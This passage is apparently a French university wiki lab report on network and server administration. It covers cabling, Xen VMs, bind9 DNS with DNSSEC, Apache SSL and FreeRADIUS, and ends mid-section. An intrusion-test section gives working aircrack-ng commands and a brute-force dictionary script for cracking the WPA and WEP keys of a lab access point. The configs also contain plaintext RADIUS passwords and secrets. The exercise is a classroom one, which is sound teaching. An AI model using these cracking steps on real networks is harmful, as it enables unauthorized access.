Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Httpshercule.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Httpshercule.png&amp;diff=49132</id>
		<title>Fichier:Httpshercule.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Httpshercule.png&amp;diff=49132"/>
				<updated>2018-12-21T18:08:38Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49131</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49131"/>
				<updated>2018-12-21T18:03:55Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 4.Services internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
